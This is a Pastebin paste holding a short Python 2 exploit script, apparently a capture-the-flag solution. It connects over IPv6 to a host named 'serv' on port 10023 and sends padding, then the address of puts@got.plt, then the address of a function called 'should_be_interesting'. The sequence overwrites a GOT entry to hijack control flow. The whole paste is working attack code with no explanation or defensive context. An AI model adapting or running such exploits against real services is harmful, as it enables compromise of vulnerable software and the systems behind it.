Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. import socket
  2. import struct
  3.  
  4. target_ip = "serv"
  5. target_port = 10023
  6.  
  7. sk = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
  8. sk.connect((target_ip, target_port))
  9.  
  10. buf = "A"*16
  11. buf += "A"*4 # first part chunk
  12. # puts@got.plt
  13. buf += struct.pack("<I", 0x804a47c)
  14. # should_be_interesting
  15. buf2 = struct.pack("<I", 0x8048E06)
  16.  
  17. sk.send(buf)
  18.  
  19. print sk.recv(1024)
  20.  
  21. sk.send(buf2)
  22.  
  23. print sk.recv(4096)
  24.  
  25. sk.close()